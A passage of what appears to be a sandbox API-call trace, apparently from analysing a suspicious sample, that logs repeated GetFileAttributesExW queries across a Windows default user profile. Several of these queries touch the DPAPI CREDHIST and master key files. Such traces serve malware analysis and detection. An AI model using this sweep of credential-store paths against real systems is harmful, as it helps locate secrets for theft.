"c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edc00 | out: lpFileInformation=0x1edc00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.886] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0129.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0129.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.888] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1 [0129.888] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1 [0129.888] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0129.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0129.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe28a980, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe28a980, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0129.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe28a980, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe28a980, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0129.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe28a980, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe28a980, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0129.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe28a980, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe28a980, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0129.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe28a980, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe28a980, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0129.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe28a980, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe28a980, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0129.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e)) returned 1 [0129.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e)) returned 1 [0129.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c)) returned 1 [0129.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c)) returned 1 [0129.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1 [0129.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1 [0129.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1 [0129.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1 [0129.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1 [0129.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1 [0129.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1 [0129.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1 [0129.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0129.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0129.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0129.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0129.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.997] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.997] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0129.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1 [0130.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), 